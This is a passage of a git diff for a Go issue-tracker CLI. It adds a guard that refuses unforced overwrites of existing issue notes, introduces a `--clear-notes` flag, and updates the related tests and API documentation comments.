issue.ID, `{"actor":"other-agent","patch":{"design":"moved"}}`) if status != http.StatusOK { t.Fatalf("the concurrent write: status = %d, want 200: %s", status, raw) } diff --git a/cmd/bd/show_unit_helpers.go b/cmd/bd/show_unit_helpers.go index b2ce6824b..5c89bec86 100644 --- a/cmd/bd/show_unit_helpers.go +++ b/cmd/bd/show_unit_helpers.go @@ -43,8 +43,8 @@ func validateIssueClosable(id string, issue *types.Issue, actor string, force bo // newAssignee may be "" (unassign), which is fenced the same way. Do NOT call // it when the caller passed an explicit --if-assignee guard: that CAS names // the holder, so nothing about it is silent, and it is how sanctioned X→Y -// transfers (park) work without --force (--force and --if-assignee are -// mutually exclusive). +// transfers (park) work without needing the fence bypass (under +// --if-assignee, --force never arms the assignee half). func validateIssueReassignable(id string, issue *types.Issue, actor, newAssignee string, poolAliases func() []string, force bool) error { return validation.AssigneeNotStolen(actor, newAssignee, poolAliases, force)(id, issue) } diff --git a/cmd/bd/update.go b/cmd/bd/update.go index 8b1573d7e..af40d4725 100644 --- a/cmd/bd/update.go +++ b/cmd/bd/update.go @@ -49,15 +49,21 @@ type commandUpdateMutation struct { // runCommandUpdateMutation maps a command update into its lifecycle request and // returns the lifecycle result unchanged. It is the ONE place the command's // flag semantics become a request — in particular the one --force that means -// two overrides, whose assignee half only applies to an assignee edit. +// three overrides, whose assignee half only applies to an assignee edit and +// whose notes half only applies to a notes edit. The assignee half is never +// set alongside --if-assignee (ExpectedAssignee): the contract rejects that +// combination outright. The notes half carries no such restriction — it is +// deliberately independent of ExpectedAssignee — so --force paired with +// --if-assignee still drives the notes and close-policy halves. func runCommandUpdateMutation(ctx context.Context, updater commandIssueUpdater, mutation commandUpdateMutation) (issueops.UpdateResult, error) { return updater.Update(ctx, issueops.UpdateRequest{ Actor: mutation.actor, IssueID: mutation.issueID, Patch: mutation.patch, Claim: mutation.claim, - ForceAssigneeTransfer: mutation.force && mutation.patch.Assignee.Set, + ForceAssigneeTransfer: mutation.force && mutation.patch.Assignee.Set && mutation.expectedAssignee == nil, ForceClosePolicy: mutation.force, + ForceNotesOverwrite: mutation.force && mutation.patch.Notes.Set, ExpectedAssignee: mutation.expectedAssignee, ExpectedStatus: mutation.expectedStatus, Provenance: mutation.provenance, @@ -206,8 +212,14 @@ pointless).`, } if cmd.Flags().Changed("notes") { notes, _ := cmd.Flags().GetString("notes") + if err := validateNotesUpdate(notes); err != nil { + return HandleErrorRespectJSON("%v", err) + } updates["notes"] = notes } + if clearNotesRequested(cmd) { + updates["notes"] = "" + } if cmd.Flags().Changed("append-notes") { appendNotes, _ := cmd.Flags().GetString("append-notes") updates[storageissueops.OpAppendNotes] = appendNotes @@ -376,8 +388,9 @@ pointless).`, // Get claim flag claimFlag, _ := cmd.Flags().GetBool("claim") - // --force bypasses the live-claim reassign fence (bd-98s5c); mutually - // exclusive with --if-assignee at the flag-group level. + // --force bypasses the live-claim reassign fence (bd-98s5c) only when + // no --if-assignee guard is present; it also opts into the notes + // overwrite and close-policy bypasses (runCommandUpdateMutation). forceFlag, _ := cmd.Flags().GetBool("force") if len(updates) == 0 && !claimFlag { @@ -496,6 +509,8 @@ pointless).`, } } + notesOverwritten := replacesExistingNotes(issue.Notes, updates) + // One atomic operation carries the claim, every field edit, the // label edits, the metadata edits and the reparent. Metadata edits // (--metadata, --set-metadata, --unset-metadata) and --append-notes @@ -510,8 +525,6 @@ pointless).`, if clearDeferStatus && issue.Status == types.StatusDeferred { patch.Status = issueops.Field[issueops.Status]{Set: true, Value: types.StatusOpen} } - notesOverwritten := replacesExistingNotes(issue.Notes, updates) - ops, err := writeOps(issueStore) if err != nil { fmt.Fprintf(os.Stderr, "Error updating %s: %v\n", id, err) @@ -537,10 +550,20 @@ pointless).`, expectedStatus: expectedStatus, }) if updateErr != nil { - fmt.Fprintf(os.Stderr, "Error updating %s: %v\n", id, updateErr) + failureText := fmt.Sprintf("updating issue: %v", updateErr) + if errors.Is(updateErr, issueops.ErrNotesOverwrite) { + // The contract's AuthorizeNotesOverwrite fence refused + // inside the mutation transaction. Print the advice, not + // the raw sentinel. + refusal := errNotesOverwriteRefusal(id) + failureText = refusal.Error() + fmt.Fprintf(os.Stderr, "%s\n", refusal) + } else { + fmt.Fprintf(os.Stderr, "Error updating %s: %v\n", id, updateErr) + } failures = append(failures, updateIDFailure{ ID: id, - Error: fmt.Sprintf("updating issue: %v", updateErr), + Error: failureText, GuardMismatch: isGuardMismatch(updateErr), }) closeIfUnmutated(result) @@ -791,13 +814,29 @@ func parseSetMetadataFlags(flags []string) (map[string]json.RawMessage, error) { return set, nil } +// replacesExistingNotes adapts the map-based update fields onto the +// contract's shared fence predicate. func replacesExistingNotes(existing string, fields map[string]any) bool { newNotes, replacing := fields["notes"].(string) - return replacing && existing != "" && newNotes != existing + return replacing && issueops.NotesReplacement(existing, newNotes) } +// errNotesOverwriteRefusal is the user-facing advice both `bd update` routes +// (the embedded path here and the proxied path in update_proxied_server.go) +// print when the contract's AuthorizeNotesOverwrite fence refuses the +// mutation with ErrNotesOverwrite. The fence itself — inside the contract's +// transaction — is the only enforcement point; the CLI merely translates its +// sentinel into this advice. +func errNotesOverwriteRefusal(id string) error { + return fmt.Errorf("%s: --notes would replace existing notes; use --force to overwrite (or --append-notes to preserve history)", id) +} + +// warnNotesReplacement fires only after a successful overwrite, which since +// the fence means the caller passed --force: it is the audit trail for a +// habitual --force that never saw the refusal, worded as a statement of what +// happened rather than a repeat of the refusal's advice. func warnNotesReplacement(id string) { - fmt.Fprintf(os.Stderr, "warning: %s: --notes replaced existing notes (use --append-notes to preserve history)\n", id) //nolint:gosec // G705: stderr, not a browser context + fmt.Fprintf(os.Stderr, "warning: %s: --force replaced existing notes (--append-notes preserves history)\n", id) //nolint:gosec // G705: stderr, not a browser context } // ExitGuardMismatch is the exit code when a `bd update` run failed solely @@ -967,8 +1006,11 @@ func init() { updateCmd.Flags().String("title", "", "New title") updateCmd.Flags().StringP("type", "t", "", "New type (bug|feature|task|epic|chore|decision|spike|story|milestone); custom types require types.custom config; aliases: enhancement/feat→feature, dec/adr→decision") registerCommonIssueFlags(updateCmd) - updateCmd.Flags().Lookup("notes").Usage = "Additional notes (replaces existing notes; use --append-notes to append)" + updateCmd.Flags().Lookup("notes").Usage = "Replace the notes field (requires --force over existing non-empty notes; --clear-notes clears; --append-notes appends instead)" updateCmd.Flags().Bool("allow-empty-description", false, "Allow empty description replacement when reading from stdin or file") + updateCmd.Flags().Bool("clear-notes", false, "Clear the notes field (--notes \"\" is refused: an empty value is usually a dead command substitution)") + updateCmd.MarkFlagsMutuallyExclusive("clear-notes", "notes") + updateCmd.MarkFlagsMutuallyExclusive("clear-notes", "append-notes") updateCmd.Flags().String("spec-id", "", "Link to specification document") updateCmd.Flags().String("acceptance-criteria", "", "DEPRECATED: use --acceptance") _ = updateCmd.Flags().MarkHidden("acceptance-criteria") // Only fails if flag missing (caught in tests) @@ -997,16 +1039,17 @@ func init() { updateCmd.Flags().String("parent", "", "New parent issue ID (reparents the issue, use empty string to remove parent)") updateCmd.Flags().Bool("claim", false, "Atomically claim the issue (sets assignee to you, status to in_progress; idempotent if already claimed by you; issues assigned to a pool alias listed in the claim.pools config are claimable too)") // Overrides the live-claim reassign fence (bd-98s5c) and close policy. - updateCmd.Flags().Bool("force", false, "Override two refusals: let -a/--assignee overwrite another actor's live in_progress claim (use only for abandoned claims — crashed agent, expired lease; prefer bd reclaim), and let -s/--status move the issue into closed (or a configured done status) despite open children or a live blocker (same as bd close --force)") + updateCmd.Flags().Bool("force", false, "Override refusals: let -a/--assignee overwrite another actor's live in_progress claim (use only for abandoned claims — crashed agent, expired lease; prefer bd reclaim), let -s/--status move the issue into closed (or a configured done status) despite open children or a live blocker (same as bd close --force), and let --notes overwrite existing non-empty notes (use --append-notes to preserve history instead)") // Conditional (compare-and-set) update guards (bd-wsqvw) updateCmd.Flags().String("if-assignee", "", "Apply the update only if the current assignee equals this value (--if-assignee '' requires unassigned); a mismatch writes nothing and exits 13 (vs 1 for other failures). Requires a field update; cannot combine with --claim") updateCmd.Flags().String("if-status", "", "Apply the update only if the current status equals this value; a mismatch writes nothing and exits 13 (vs 1 for other failures). Requires a field update; cannot combine with --claim") - // --force (unconditional bypass of the reassign fence) and --if-assignee - // (write only while a specific assignee still holds it) encode - // contradictory intent — same rationale as unclaim's pairing. Rejecting the - // combination stops a script that habitually passes --force from silently - // dropping its --if-assignee guard. - updateCmd.MarkFlagsMutuallyExclusive("force", "if-assignee") + // --force and --if-assignee are NOT mutually exclusive: --force still + // drives the close-policy and notes-overwrite halves (runCommandUpdateMutation), + // and the contract itself refuses ForceAssigneeTransfer alongside + // ExpectedAssignee, so the assignee half is never asserted here. A caller + // combining --notes with --if-assignee could not previously opt into + // overwriting existing notes at all — cobra made --force unpassable + // alongside --if-assignee — which is the footgun this lifts. updateCmd.Flags().String("session", "", "Claude Code session ID for status=closed (or set CLAUDE_SESSION_ID env var)") // Time-based scheduling flags (GH#820) // Examples: diff --git a/cmd/bd/update_embedded_test.go b/cmd/bd/update_embedded_test.go index 0ce5ee9d2..7cefe257f 100644 --- a/cmd/bd/update_embedded_test.go +++ b/cmd/bd/update_embedded_test.go @@ -45,6 +45,14 @@ func bdUpdateFail(t *testing.T, bd, dir string, args ...string) string { return string(out) } +// wantNotesRefusal is the expected notes-overwrite refusal line, shared by the +// embedded and proxied update tests. Spelled as a literal, not via the +// production errNotesOverwriteRefusal: reusing the constructor would make the +// wording self-verifying. +func wantNotesRefusal(id string) string { + return id + ": --notes would replace existing notes; use --force to overwrite (or --append-notes to preserve history)" +} + // bdUpdateCapture runs "bd update" expecting success, returning stdout and // stderr separately (stdout may be JSON; warnings must not pollute it). func bdUpdateCapture(t *testing.T, bd, dir string, args ...string) (stdout, stderr string) { @@ -394,12 +402,26 @@ func TestEmbeddedUpdate(t *testing.T) { } }) - t.Run("update_notes_overwrite_warns", func(t *testing.T) { + t.Run("update_notes_overwrite_requires_force", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Notes force test", "--type", "task") + bdUpdate(t, bd, dir, issue.ID, "--notes", "original notes") + + out := bdUpdateFail(t, bd, dir, issue.ID, "--notes", "replacement notes") + wantErr := wantNotesRefusal(issue.ID) + if !strings.Contains(out, wantErr) { + t.Errorf("expected output to contain %q, got: %s", wantErr, out) + } + if got := bdShow(t, bd, dir, issue.ID); got.Notes != "original notes" { + t.Errorf("expected notes to remain %q, got %q", "original notes", got.Notes) + } + }) + + t.Run("update_notes_overwrite_with_force_warns", func(t *testing.T) { issue := bdCreate(t, bd, dir, "Notes warning test", "--type", "task") bdUpdate(t, bd, dir, issue.ID, "--notes", "original notes") - stdout, stderr := bdUpdateCapture(t, bd, dir, issue.ID, "--notes", "replacement notes") - warning := fmt.Sprintf("warning: %s: --notes replaced existing notes (use --append-notes to preserve history)", issue.ID) + stdout, stderr := bdUpdateCapture(t, bd, dir, issue.ID, "--notes", "replacement notes", "--force") + warning := fmt.Sprintf("warning: %s: --force replaced existing notes (--append-notes preserves history)", issue.ID) if !strings.Contains(stderr, warning) { t.Errorf("expected stderr to contain %q, got: %s", warning, stderr) } @@ -411,6 +433,88 @@ func TestEmbeddedUpdate(t *testing.T) { } }) + t.Run("update_notes_overwrite_with_if_assignee_requires_force", func(t *testing.T) { + // --force and --if-assignee are no longer mutually exclusive at the + // flag level (that exclusion was the footgun: it made --force + // unpassable alongside --if-assignee, so a caller pairing --notes + // with --if-assignee could not opt into overwriting existing notes at + // all). Without --force the overwrite is still refused. + issue := bdCreate(t, bd, dir, "Notes plus if-assignee test", "--type", "task") + bdUpdate(t, bd, dir, issue.ID, "--notes", "original notes") + + out := bdUpdateFail(t, bd, dir, issue.ID, "--if-assignee", "", "--notes", "replacement notes") + wantErr := wantNotesRefusal(issue.ID) + if !strings.Contains(out, wantErr) { + t.Errorf("expected output to contain %q, got: %s", wantErr, out) + } + if got := bdShow(t, bd, dir, issue.ID); got.Notes != "original notes" { + t.Errorf("expected notes to remain %q, got %q", "original notes", got.Notes) + } + }) + + t.Run("update_notes_overwrite_with_if_assignee_and_force_succeeds", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Notes plus if-assignee force test", "--type", "task") + bdUpdate(t, bd, dir, issue.ID, "--notes", "original notes") + + bdUpdate(t, bd, dir, issue.ID, "--if-assignee", "", "--notes", "replacement notes", "--force") + if got := bdShow(t, bd, dir, issue.ID); got.Notes != "replacement notes" { + t.Errorf("expected notes %q, got %q", "replacement notes", got.Notes) + } + }) + + t.Run("update_empty_notes_refused", func(t *testing.T) { + // GH#6021: `--notes ""` is what a dead command substitution collapses + // to, so an unforced wipe must not look like success. The deliberate + // clear has its own verb, --clear-notes. + issue := bdCreate(t, bd, dir, "Notes clear guard test", "--type", "task") + bdUpdate(t, bd, dir, issue.ID, "--notes", "original notes") + + out := bdUpdateFail(t, bd, dir, issue.ID, "--notes", "") + if !strings.Contains(out, "--clear-notes") { + t.Errorf("expected refusal naming --clear-notes, got:\n%s", out) + } + // --force opens the overwrite fence, not this guard: the empty value + // stays refused because the bytes still cannot prove intent. + out = bdUpdateFail(t, bd, dir, issue.ID, "--notes", "", "--force") + if !strings.Contains(out, "--clear-notes") { + t.Errorf("expected forced empty-notes refusal naming --clear-notes, got:\n%s", out) + } + if got := bdShow(t, bd, dir, issue.ID); got.Notes != "original notes" { + t.Errorf("expected notes to remain %q, got %q", "original notes", got.Notes) + } + }) + + t.Run("update_clear_notes_succeeds", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Notes deliberate clear test", "--type", "task") + bdUpdate(t, bd, dir, issue.ID, "--notes", "original notes") + + // No --force: the fence exempts clears, so the verb alone authorizes + // the erase. + bdUpdate(t, bd, dir, issue.ID, "--clear-notes") + if got := bdShow(t, bd, dir, issue.ID); got.Notes != "" { + t.Errorf("expected notes cleared, got %q", got.Notes) + } + }) + + t.Run("update_clear_notes_conflicts_with_notes_flags", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Notes clear conflict test", "--type", "task") + bdUpdate(t, bd, dir, issue.ID, "--notes", "original notes") + + for _, extra := range [][]string{ + {"--notes", "replacement"}, + {"--append-notes", "more"}, + } { + args := append([]string{issue.ID, "--clear-notes"}, extra...) + out := bdUpdateFail(t, bd, dir, args...) + if !strings.Contains(out, "none of the others can be") { + t.Errorf("expected mutual-exclusion error for %v, got:\n%s", extra, out) + } + } + if got := bdShow(t, bd, dir, issue.ID); got.Notes != "original notes" { + t.Errorf("expected notes to remain %q, got %q", "original notes", got.Notes) + } + }) + t.Run("update_defer", func(t *testing.T) { issue := bdCreate(t, bd, dir, "Defer test", "--type", "task") bdUpdate(t, bd, dir, issue.ID, "--defer", "2099-01-15") diff --git a/cmd/bd/update_input.go b/cmd/bd/update_input.go index c7ab46611..e70a1149f 100644 --- a/cmd/bd/update_input.go +++ b/cmd/bd/update_input.go @@ -35,8 +35,9 @@ type updateInput struct { // guard). ifAssignee *string ifStatus *string - // bd-98s5c: --force bypasses the live-claim reassign fence (mutually - // exclusive with --if-assignee at the flag-group level). + // bd-98s5c: --force bypasses the live-claim reassign fence only when no + // --if-assignee guard rides the command; it also opts into the notes + // overwrite and close-policy bypasses (runCommandUpdateMutation). force bool } @@ -102,8 +103,14 @@ func gatherUpdateInput(ctx context.Context, cmd *cobra.Command) (*updateInput, e } if cmd.Flags().Changed("notes") { notes, _ := cmd.Flags().GetString("notes") + if err := validateNotesUpdate(notes); err != nil { + return nil, HandleErrorRespectJSON("%v", err) + } in.fields["notes"] = notes } + if clearNotesRequested(cmd) { + in.fields["notes"] = "" + } if cmd.Flags().Changed("append-notes") { in.appendNotes, _ = cmd.Flags().GetString("append-notes") in.hasAppendNotes = true diff --git a/cmd/bd/update_lifecycle_test.go b/cmd/bd/update_lifecycle_test.go index 7418e752e..81cf963ae 100644 --- a/cmd/bd/update_lifecycle_test.go +++ b/cmd/bd/update_lifecycle_test.go @@ -382,6 +382,12 @@ func TestReplacesExistingNotes(t *testing.T) { fields: map[string]any{"notes": "unchanged notes"}, want: false, }, + { + name: "explicit clear", + existing: "old notes", + fields: map[string]any{"notes": ""}, + want: false, + }, } for _, tt := range tests { diff --git a/cmd/bd/update_notes_guard.go b/cmd/bd/update_notes_guard.go new file mode 100644 index 000000000..e527b0d79 --- /dev/null +++ b/cmd/bd/update_notes_guard.go @@ -0,0 +1,35 @@ +package main + +import ( + "fmt" + + "github.com/spf13/cobra" +) + +// validateNotesUpdate is the GH#6021 guard: `--notes ""` erases the whole +// notes field, and the empty string is exactly what a dead command +// substitution (`--notes "$(cat missing.txt)"`) collapses to — at the flag +// layer the accident and the deliberate clear are the same bytes, so the +// empty value is refused outright and the deliberate clear gets its own verb, +// --clear-notes. That differs from the description guard twice over: +// validateDescriptionUpdate guards only stdin/file input (where emptiness is +// an input-plumbing property and --allow-empty-description unblocks the same +// content flag), while notes has no file/stdin variant — inline is the only +// path, clearing already-empty notes is a no-op, and what needs authorizing +// is an intent, not a pipe. The notes-overwrite fence +// (issueops.NotesReplacement) exempts clears by design and --force does not +// reach here. Called only when --notes was explicitly passed. +func validateNotesUpdate(notes string) error { + if notes != "" { + return nil + } + return fmt.Errorf(`--notes "" would clear the notes field (an empty command substitution is the usual accident); use --clear-notes to clear it deliberately`) +} + +// clearNotesRequested reports whether --clear-notes asked for the deliberate +// erase. Combining it with --notes or --append-notes is contradictory and +// refused by cobra's mutual-exclusion registration on the update command. +func clearNotesRequested(cmd *cobra.Command) bool { + clear, _ := cmd.Flags().GetBool("clear-notes") + return clear +} diff --git a/cmd/bd/update_notes_guard_test.go b/cmd/bd/update_notes_guard_test.go new file mode 100644 index 000000000..1a34f0973 --- /dev/null +++ b/cmd/bd/update_notes_guard_test.go @@ -0,0 +1,40 @@ +package main + +import ( + "strings" + "testing" +) + +// TestValidateNotesUpdateRejectsInlineEmpty pins the deliberate contrast with +// the description guard: an inline empty value IS refused here, because a +// dead command substitution reaches the flag layer as exactly that (GH#6021) +// and notes has no stdin/file input to scope the guard to. The refusal must +// name the verb that clears deliberately. +func TestValidateNotesUpdateRejectsInlineEmpty(t *testing.T) { + err := validateNotesUpdate("") + if err == nil { + t.Fatal("expected inline empty notes to be rejected") + } + if !strings.Contains(err.Error(), "--clear-notes") { + t.Fatalf("expected refusal to name --clear-notes, got: %v", err) + } +} + +func TestValidateNotesUpdateAllowsNonEmpty(t *testing.T) { + if err := validateNotesUpdate("handoff context"); err != nil { + t.Fatalf("expected non-empty notes to succeed, got: %v", err) + } +} + +// TestUpdateRegistersClearNotes guards the wiring: the update command must +// carry the verb the guard's refusal advertises. create does not register it +// — a new issue has no notes to wipe, so `bd create --notes ""` is not the +// GH#6021 hazard. +func TestUpdateRegistersClearNotes(t *testing.T) { + if updateCmd.Flags().Lookup("clear-notes") == nil { + t.Fatal("expected update to register --clear-notes") + } + if createCmd.Flags().Lookup("clear-notes") != nil { + t.Fatal("create registers --clear-notes but has no wipe hazard; move the guard if this is now intended") + } +} diff --git a/cmd/bd/update_notes_warning_test.go b/cmd/bd/update_notes_warning_test.go index 5d34449a8..7038fa30a 100644 --- a/cmd/bd/update_notes_warning_test.go +++ b/cmd/bd/update_notes_warning_test.go @@ -4,17 +4,19 @@ import ( "testing" ) -// TestWarnNotesReplacement is the D2 guard test: a `bd update --notes` that -// replaces a non-empty notes field warns on stderr, naming --append-notes as -// the history-preserving alternative (the warning itself shipped on main via -// #4743). The predicate deciding WHEN the warning fires is covered by -// TestReplacesExistingNotes. +// TestWarnNotesReplacement is the D2 guard test: since the notes-overwrite +// fence, an unforced `bd update --notes` over existing notes is refused +// (errNotesOverwriteRefusal), so this warning fires only after a FORCED +// overwrite succeeded. It is the audit trail for a habitual --force that +// never saw the refusal — a statement of what happened, still naming +// --append-notes as the history-preserving alternative. The predicate +// deciding WHEN it fires is covered by TestReplacesExistingNotes. func TestWarnNotesReplacement(t *testing.T) { got := captureStderr(t, func() { warnNotesReplacement("tc-dg6") }) - want := "warning: tc-dg6: --notes replaced existing notes (use --append-notes to preserve history)\n" + want := "warning: tc-dg6: --force replaced existing notes (--append-notes preserves history)\n" if got != want { t.Fatalf("warnNotesReplacement stderr = %q, want %q", got, want) } diff --git a/cmd/bd/update_proxied_integration_test.go b/cmd/bd/update_proxied_integration_test.go index da954fd18..3de2485f7 100644 --- a/cmd/bd/update_proxied_integration_test.go +++ b/cmd/bd/update_proxied_integration_test.go @@ -67,15 +67,62 @@ func TestProxiedServerUpdate(t *testing.T) { } }) + t.Run("notes_overwrite_requires_force", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "unf") + issue := bdProxiedCreate(t, bd, p.dir, "Notes force", "--notes", "original notes") + stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, + "update", "--json", issue.ID, "--notes", "replacement notes") + if err == nil { + t.Fatalf("expected --notes overwrite without --force to fail\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + wantErr := wantNotesRefusal(issue.ID) + if !strings.Contains(stderr, wantErr) { + t.Errorf("expected stderr to contain %q, got: %s", wantErr, stderr) + } + if got := bdProxiedShow(t, bd, p.dir, issue.ID); got.Notes != "original notes" { + t.Errorf("notes: got %q, want %q", got.Notes, "original notes") + } + }) + + t.Run("notes_overwrite_with_if_assignee_requires_force", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "unfa") + issue := bdProxiedCreate(t, bd, p.dir, "Notes force if-assignee", "--notes", "original notes") + stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, + "update", "--json", issue.ID, "--if-assignee", "", "--notes", "replacement notes") + if err == nil { + t.Fatalf("expected --notes overwrite without --force to fail\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + wantErr := wantNotesRefusal(issue.ID) + if !strings.Contains(stderr, wantErr) { + t.Errorf("expected stderr to contain %q, got: %s", wantErr, stderr) + } + if got := bdProxiedShow(t, bd, p.dir, issue.ID); got.Notes != "original notes" { + t.Errorf("notes: got %q, want %q", got.Notes, "original notes") + } + }) + + t.Run("notes_overwrite_with_if_assignee_and_force_succeeds", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "unfaf") + issue := bdProxiedCreate(t, bd, p.dir, "Notes force if-assignee force", "--notes", "original notes") + updated := bdProxiedUpdateOne(t, bd, p.dir, issue.ID, + "--if-assignee", "", "--notes", "replacement notes", "--force") + if updated.Notes != "replacement notes" { + t.Errorf("notes: got %q, want %q", updated.Notes, "replacement notes") + } + }) + t.Run("notes_overwrite_warns_on_stderr", func(t *testing.T) { p := bdProxiedInit(t, bd, "unw") issue := bdProxiedCreate(t, bd, p.dir, "Notes overwrite", "--notes", "original notes") stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, - "update", "--json", issue.ID, "--notes", "replacement notes") + "update", "--json", issue.ID, "--notes", "replacement notes", "--force") if err != nil { t.Fatalf("overwrite notes: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) } - warning := fmt.Sprintf("warning: %s: --notes replaced existing notes (use --append-notes to preserve history)", issue.ID) + warning := fmt.Sprintf("warning: %s: --force replaced existing notes (--append-notes preserves history)", issue.ID) if !strings.Contains(stderr, warning) { t.Errorf("expected stderr to contain %q, got: %s", warning, stderr) } @@ -87,6 +134,30 @@ func TestProxiedServerUpdate(t *testing.T) { } }) + t.Run("empty_notes_refused_clear_notes_clears", func(t *testing.T) { + // GH#6021 on the proxied route: the empty-notes refusal fires in + // gatherUpdateInput, before any request leaves the CLI, and the + // --clear-notes verb (not --force) authorizes the erase. + t.Parallel() + p := newSharedProxiedProject(t, bd, "unc") + issue := bdProxiedCreate(t, bd, p.dir, "Notes clear guard", "--notes", "original notes") + stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, + "update", issue.ID, "--notes", "") + if err == nil { + t.Fatalf("expected --notes \"\" to fail\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + if !strings.Contains(stderr, "--clear-notes") { + t.Errorf("expected stderr to name --clear-notes, got: %s", stderr) + } + if got := bdProxiedShow(t, bd, p.dir, issue.ID); got.Notes != "original notes" { + t.Errorf("notes: got %q, want %q", got.Notes, "original notes") + } + updated := bdProxiedUpdateOne(t, bd, p.dir, issue.ID, "--clear-notes") + if updated.Notes != "" { + t.Errorf("notes: got %q, want cleared", updated.Notes) + } + }) + t.Run("claim_sets_assignee_and_in_progress", func(t *testing.T) { t.Parallel() p := newSharedProxiedProject(t, bd, "uc") @@ -946,7 +1017,7 @@ func TestProxiedServerUpdate3(t *testing.T) { t.Parallel() p := newSharedProxiedProject(t, bd, "un") issue := bdProxiedCreate(t, bd, p.dir, "Notes test", "--notes", "first") - updated := bdProxiedUpdateOne(t, bd, p.dir, issue.ID, "--notes", "replacement") + updated := bdProxiedUpdateOne(t, bd, p.dir, issue.ID, "--notes", "replacement", "--force") if updated.Notes != "replacement" { t.Errorf("notes: got %q, want %q", updated.Notes, "replacement") } diff --git a/cmd/bd/update_proxied_server.go b/cmd/bd/update_proxied_server.go index bd3654586..a5748292c 100644 --- a/cmd/bd/update_proxied_server.go +++ b/cmd/bd/update_proxied_server.go @@ -259,6 +259,12 @@ func proxiedUpdateFailure(id string, claim bool, err error) *updateIDFailure { case errors.Is(err, storage.ErrCloseBlocked) && !claim: fmt.Fprintf(os.Stderr, "%v (use --force to override)\n", err) return &updateIDFailure{ID: id, Error: fmt.Sprintf("%v (use --force to override)", err)} + case errors.Is(err, storage.ErrNotesOverwrite): + // The contract's AuthorizeNotesOverwrite fence refused inside the + // mutation transaction. Print the advice, not the raw sentinel. + refusal := errNotesOverwriteRefusal(id) + fmt.Fprintf(os.Stderr, "%s\n", refusal) + return &updateIDFailure{ID: id, Error: refusal.Error()} case uow.IsSerializationError(err): // The contract spent its retry budget losing Dolt's commit-time merge. // The write did NOT land; fail loudly instead of exiting 0. diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index 1611e4e12..ec5422748 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -674,7 +674,7 @@ type ApplyPatchBody struct { // `replace` replaces the whole document. Present holding `null`, `{}` or an empty value CLEARS metadata — and clearing STORES THE EMPTY JSON DOCUMENT rather than SQL null, so "created with no metadata" and "given metadata and then cleared" are the same stored value; a reader must treat absent, empty and `{}` as one value on the way out. `merge` must be a nonempty JSON OBJECT and is merged into the current document. Metadata *ApplyMetadataPatch `json:"metadata,omitempty"` - // Notes Replaces the notes. Mutually exclusive with `append_notes`; sending both is a `400`. + // Notes Replaces the notes. Mutually exclusive with `append_notes`; sending both is a `400`. Replacing EXISTING non-empty notes with different non-empty content is refused with `409 notes_overwrite_refused` unless `force_notes_overwrite` is set; an explicit clear (empty string) is not fenced. Notes *string `json:"notes,omitempty"` Owner *string `json:"owner,omitempty"` Priority *int `json:"priority,omitempty"` @@ -713,6 +713,9 @@ type ApplyUpdateItem struct { // ForceClosePolicy Bypasses ONLY close policy — the open-children refusal and the live blocker refusal — for a `patch.status` that crosses into the workspace's done category. It has no effect without such a status change, and it never bypasses validation, the preconditions above, or the assignee fence. ForceClosePolicy *bool `json:"force_close_policy,omitempty"` + // ForceNotesOverwrite Bypasses ONLY the refusal on a `patch.notes` that would replace existing non-empty notes with different non-empty content (an explicit clear is not fenced). It requires `patch.notes` — an item setting it without one is a `400` — and, UNLIKE `force_assignee_transfer`, it has no `expected_assignee` exemption: there is no compare-and-set that authorizes a notes overwrite, so combining the two is legal and each answers its own question. + ForceNotesOverwrite *bool `json:"force_notes_overwrite,omitempty"` + // Patch The fields an `update` item writes. Every member is optional and PRESENCE is the signal: a member present is written, a member absent is untouched. An empty object is a `400` — a write that writes nothing is a client bug. // // It mirrors `IssuePatchBody` member for member and diverges in exactly two places now that `PATCH /v0/beads/issues/{id}` publishes `status`, `assignee` and the same `metadata` algebra. @@ -1393,7 +1396,7 @@ type IssuePatchBody struct { // `replace` replaces the whole document. Present holding `null`, `{}` or an empty value CLEARS metadata — and clearing STORES THE EMPTY JSON DOCUMENT rather than SQL null, so "created with no metadata" and "given metadata and then cleared" are the same stored value; a reader must treat absent, empty and `{}` as one value on the way out. `merge` must be a nonempty JSON OBJECT and is merged into the current document. Metadata *ApplyMetadataPatch `json:"metadata,omitempty"` - // Notes Replaces the notes. Mutually exclusive with `append_notes`; sending both is a `400`. + // Notes Replaces the notes. Mutually exclusive with `append_notes`; sending both is a `400`. Replacing EXISTING non-empty notes with different non-empty content is refused with `409 notes_overwrite_refused` unless `force_notes_overwrite` is set; an explicit clear (empty string) is not fenced. Notes *string `json:"notes,omitempty"` // ParentId Replaces the issue's parents atomically: a nonempty value makes THAT issue the only parent, and an EMPTY STRING removes every parent-child edge the issue has. Labels are not inherited — that is a create-time choice (`CreateIssueRequest.inherit_labels_from_parent`) and a reparent does not re-run it. @@ -1955,6 +1958,9 @@ type UpdateIssueRequest struct { // ForceClosePolicy Bypasses ONLY close policy — the open-children refusal and the live blocker refusal — for a `patch.status` that crosses into the workspace's done category. It has no effect without such a status change, and it never bypasses validation, the preconditions above, or the assignee fence. ForceClosePolicy *bool `json:"force_close_policy,omitempty"` + // ForceNotesOverwrite Bypasses ONLY the refusal on a `patch.notes` that would replace existing non-empty notes with different non-empty content (an explicit clear is not fenced). It requires `patch.notes` — a request setting it without one is a `400` — and, UNLIKE `force_assignee_transfer`, it has no `expected_assignee` exemption: there is no compare-and-set that authorizes a notes overwrite, so combining the two is legal and each answers its own question. + ForceNotesOverwrite *bool `json:"force_notes_overwrite,omitempty"` + // Patch The fields to write. Every member is optional and PRESENCE is the signal: a member present is written, a member absent is untouched. An empty object is a `400` — a write that writes nothing is a 